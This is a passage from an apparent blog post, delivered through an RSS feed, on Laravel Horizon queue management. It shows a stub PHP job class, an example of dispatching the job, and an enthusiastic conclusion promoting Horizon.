  <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">handle</span>(<span class="hljs-params"></span>)
  </span>{
    <span class="hljs-comment">// Send the email</span>
  }
}
</code></pre>
<p>To dispatch the job, you can use the <code>dispatch()</code> method:</p>
<pre><code class="lang-php">$job = <span class="hljs-keyword">new</span> SendEmailJob(); 
dispatch($job);
</code></pre>
<p>The job will be added to the queue and processed by a worker process.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>Laravel Horizon empowers developers to take charge of their application's queue management and processing. With its real-time insights, efficient worker management, and user-friendly configuration, Horizon makes scaling and managing queues feel like a breeze. By adopting Laravel Horizon, you're setting your application up for success in delivering a seamless and responsive user experience.</p>
<p>So, why wait? Embrace Laravel Horizon today and elevate your queue management game to a professional level!</p>
]]></content:encoded></item></channel></rss>